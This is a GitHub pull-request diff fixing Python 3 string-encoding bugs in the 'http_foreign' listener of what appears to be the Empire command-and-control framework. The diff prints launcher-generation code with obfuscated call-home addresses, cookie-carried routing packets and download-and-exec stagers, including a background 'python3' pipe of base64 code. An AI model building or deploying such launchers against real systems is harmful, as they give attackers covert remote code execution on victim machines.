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Fixes for http_foreign listener #283

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merged 1 commit into from
Aug 16, 2020
Merged

Fixes for http_foreign listener #283

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8 changes: 5 additions & 3 deletions lib/listeners/http_foreign.py
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Original file line number Diff line number Diff line change
Expand Up @@ -232,7 +232,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket.decode('UTF-8'))

stager += "$ser=" + helpers.obfuscate_call_home_address(host) + ";$t='" + stage0 + "';"
stager += helpers.randomize_capitalization("$data=$"+helpers.generate_random_script_var_name("wc")+".DownloadData($ser+$t);")
Expand Down Expand Up @@ -281,7 +281,7 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",

# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
b64RoutingPacket = base64.b64encode(routingPacket).decode('UTF-8')

# add the RC4 packet to a cookie
launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (b64RoutingPacket)
Expand Down Expand Up @@ -330,7 +330,9 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="",
launcherBase += "exec(''.join(out))"

if encode:
launchEncoded = base64.b64encode(launcherBase)
launchEncoded = base64.b64encode(launcherBase.encode('UTF-8')).decode('UTF-8')
if isinstance(launchEncoded, bytes):
launchEncoded = launchEncoded.decode('UTF-8')
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (launchEncoded)
return launcher
else:
Expand Down